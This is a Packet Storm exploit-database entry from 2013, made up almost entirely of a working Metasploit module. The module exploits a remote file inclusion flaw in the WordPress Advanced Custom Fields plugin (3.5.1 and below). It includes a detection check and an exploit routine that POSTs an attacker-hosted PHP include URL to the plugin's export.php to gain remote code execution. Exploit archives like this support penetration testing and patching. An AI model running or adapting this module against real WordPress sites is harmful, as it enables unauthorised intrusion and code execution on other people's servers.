WordPress Advanced Custom Fields Remote File Inclusion

2013-01-03T00:00:00
ID PACKETSTORM:119221
Type packetstorm
Reporter Charlie Eriksen
Modified 2013-01-03T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer::PHPInclude  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion',  
'Description' => %q{  
This module exploits a remote file inclusion flaw in the WordPress blogging  
software plugin known as Advanced Custom Fields. The vulnerability allows for remote  
file inclusion and remote code execution via the export.php script. The Advanced  
Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only  
works when the php option allow_url_include is set to On (Default Off).  
},  
'Author' =>  
[  
'Charlie Eriksen <charlie@ceriksen.com>',  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['OSVDB', '87353'],  
['URL', 'http://secunia.com/advisories/51037/'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Compat' =>  
{  
'ConnectionType' => 'find',  
},  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Nov 14 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),  
OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),  
], self.class)  
end  
  
def check  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
uri << datastore['PLUGINSPATH']  
uri << '/' if uri[-1,1] != '/'  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{uri}advanced-custom-fields/core/api.php"  
})  
  
if res and res.code == 200  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def php_exploit  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
uri << datastore['PLUGINSPATH']  
uri << '/' if uri[-1,1] != '/'  
  
print_status('Sending request')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{uri}advanced-custom-fields/core/actions/export.php",  
'data' => "acf_abspath=#{php_include_url}"  
})  
  
if res and res.body =~ /allow_url_include/  
fail_with(Exploit::Failure::NotVulnerable, 'allow_url_include is disabled')  
elsif res.code != 200  
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")  
end  
  
end  
  
end  
  
`